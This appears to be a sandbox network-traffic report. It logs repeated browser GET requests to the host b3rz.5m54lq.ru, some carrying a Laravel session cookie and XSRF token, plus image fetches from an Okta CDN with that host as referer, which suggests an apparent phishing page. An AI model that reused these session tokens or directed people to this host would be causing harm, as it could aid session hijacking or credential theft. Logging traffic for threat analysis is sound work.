XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvSqWmtiKp4YusaslqxkiDjGdG3bstrqtlhKp51ZfY34130 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qx3APPV8wLDVYwKk4WCMI6qD68lmbosuwXkSHAksMNgJVo4CS3fB7hx HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://b3rz.5m54lq.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /opgocw48m1OzfrlKePMpCpS31vyR7fEhmnmP6BY6gqZ9bZuqfpRJ67140 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijjYvOxYMSzAEsVBStmB794isDmn6Kf0GmqqNgoZ2BKLadyUfgef204 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opu8vyTI9BpKDiL2jbbCRDGBouv11mRfWn7sMbqHhuebh7FZmQq2T35emYfh64Lef238 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv2j4g0vdXujoriVr06puTpnmvdTqwgTHs1oWfSQBklDt4O45CZyaxcflzMdOyLTW3qoqj5n6AoczctFGAbBV8Xgh260 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3rz.5m54lq.ru/UFIPVZXDJGVHYEWTscjkpacwfsrsahbhxx0rsr0tmc0ipx3ugeoe3q2?BCHJFAIFMWHGKNRVTUMGJXZSBCQCAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /oprGaEGbXMz6S7UKvCZsG5fDhA1DvdVOF3dauv8xc6jTNdfa2KXoO5ef191 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijFDhVZ5x4xtW1lwVm71gcdVaYkXcHhHQB5eM56170 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efQTK64w0MiBOoPqEhaZWEfykleMB7iip2pL2hWMZXiaQh90141 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxZAwU9RSzWHoVxqDm9WrsDu1ztSbiwYSNs0kSNY7DXguu90180 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /opu8vyTI9BpKDiL2jbbCRDGBouv11mRfWn7sMbqHhuebh7FZmQq2T35emYfh64Lef238 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijjYvOxYMSzAEsVBStmB794isDmn6Kf0GmqqNgoZ2BKLadyUfgef204 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv2j4g0vdXujoriVr06puTpnmvdTqwgTHs1oWfSQBklDt4O45CZyaxcflzMdOyLTW3qoqj5n6AoczctFGAbBV8Xgh260 HTTP/1.1Host: b3rz.5m54lq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktYeFI1N0tFdzE1VVZqWm0rNUhOV2c9PSIsInZhbHVlIjoiYjVXMHVCcFB4cEdFbkJYbXlVMXdvQ2ZXUTk5TFJZZWhJUjJuOCtpYTVhQjJsREllS2gwNFBNK1I1cHNjOWliSVlKS2dvU2F3cTIxQTdvM0R5MEU1ZlVteFcrVVRpbzJLUjRydnluRHFNandpRFBLdjIzNDBZMy96TUVOVWRVMzIiLCJtYWMiOiI0NDA5NWVmYTYxZTQxYTRmODliMjQ5ZDdhYjdiYzgzYjUxZWI0ODFlODc3ZDBkODU5NGI5NDJjZjYzZDM3YmM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN5UkE2OFdobDNmNGlXTUp2SHBpOEE9PSIsInZhbHVlIjoiUkJqTW84RHh6Yk1kOWg2L0VHTHl0dnRPMEJkUXJ6WXNBRjhqY0tJbHhlSWdpbXlyVGtvOVpUWVdOQUQ3ajhMWEtBWDNNZ0ErS0dBTUFTdGdHeUVTSWpvaFZjOUI3OE9TaGlEdGFWRjlNRmdQTVJvaDVZYzVPOFJ5K09Qb1Vwd3UiLCJtYWMiOiJhMmUwY2UyY2I4NTQ0NDQzMGEwYmEyMmQwODYyM2MxNzNhMzU4ZGJmNjk4MDgzZDYyOWYzMWMzNDc2NmYyM2IzIiwidGFnIjoiIn0%3D
